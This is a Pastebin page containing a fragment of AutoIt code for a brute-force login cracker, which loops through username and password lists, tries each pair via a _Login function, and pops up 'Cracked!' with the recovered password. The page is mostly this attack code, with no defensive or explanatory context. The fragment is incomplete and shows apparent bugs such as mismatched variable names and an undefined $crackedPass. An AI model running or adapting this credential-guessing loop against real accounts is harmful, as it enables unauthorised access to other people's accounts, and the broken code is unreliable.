Advertisement
Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- Do
- For $i = 1 To UBound($aPasswords) - 1
- $login = _Login($aUsers[$iCounter], $aPasswords[$i])
- If StringInStr($login, "ok") Then
- $cracked = True
- MsgBox(64, "Cracked!", "User " & GUICtrlRead($Edit2) & " " & "has been cracked.")
- GUICtrlSetData($Edit3, "Username: " & GUICtrlRead($Edit2) & @CRLF & "Password: " & $crackedPass & @CRLF & @CRLF & "Original Password: " & $aPasswords[$i])
- EndIf
- If $i >= _GUICtrlEdit_GetLineCount($Edit1) And $cracked <> True Then
- $cracked = False
- MsgBox(16, "", "Password list exhausted; no users found.")
- EndIf
- Next
- $icounter += 1
- ContinueLoop
- Until $icounter > _GUICtrlEdit_GetLineCount($Edit2)
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement